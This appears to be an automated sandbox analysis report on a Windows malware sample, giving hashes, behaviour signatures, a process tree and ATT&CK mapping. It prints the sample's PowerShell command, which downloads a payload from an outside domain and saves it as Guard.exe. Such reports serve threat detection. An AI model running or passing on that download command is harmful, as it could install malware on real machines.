510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece

General

Target

510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
Size

1.0MB
MD5

4b3b813bb2357edd39d710c708ff1223
SHA1

beec5f0c7fe9fe6c3f6e7de7c77ccecc06199e82
SHA256

510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece
SHA512

55f5ff5d974ac0aa9463fa6019e57e7600648d6cc614a28df75b771491c902d64491d5682e559c0fe893e382fe8673dec15da57d46968b172026067ccfb0d1f9
SSDEEP

24576:UrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9Tva14p8:U2EYTb8atv1orq+pEiSDTj1VyvBa17

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 5036 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5036 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5036 powershell.exe
5036 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5036 powershell.exe

flow	pid	process
7	5036	powershell.exe

pid	process
5036	powershell.exe

pid	process
5036	powershell.exe
5036	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5036	powershell.exe

Suspicious use of FindShellTrayWindow 32 IoCs

Processes:

510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe

pid	process
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe

Suspicious use of SendNotifyMessage 32 IoCs

Processes:

510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe

pid	process
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe

description	pid	process	target process
PID 440 wrote to memory of 5036	440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe	powershell.exe
PID 440 wrote to memory of 5036	440	510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe
"C:\Users\Admin\AppData\Local\Temp\510e2f0999c2d7381fc22ee4c4bf72e0ab1bbe779e01a81095690b1bdc633ece.exe"
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri "https://gotexindigos.com/dpunk/dpunk" -OutFile "C:\Users\Public\Guard.exe""
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mv1twe5e.ufd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5036-0-0x00007FFBFB083000-0x00007FFBFB085000-memory.dmp

Filesize
8KB

Download
memory/5036-1-0x0000020290CC0000-0x0000020290CE2000-memory.dmp

Filesize
136KB

Download
memory/5036-11-0x00007FFBFB080000-0x00007FFBFBB41000-memory.dmp

Filesize
10.8MB

Download
memory/5036-12-0x00007FFBFB080000-0x00007FFBFBB41000-memory.dmp

Filesize
10.8MB

Download
memory/5036-13-0x00007FFBFB083000-0x00007FFBFB085000-memory.dmp

Filesize
8KB

Download
memory/5036-14-0x00007FFBFB080000-0x00007FFBFBB41000-memory.dmp

Filesize
10.8MB

Download
memory/5036-15-0x00007FFBFB080000-0x00007FFBFBB41000-memory.dmp

Filesize
10.8MB

Download
memory/5036-16-0x00007FFBFB080000-0x00007FFBFBB41000-memory.dmp

Filesize
10.8MB

Download
memory/5036-19-0x00007FFBFB080000-0x00007FFBFBB41000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads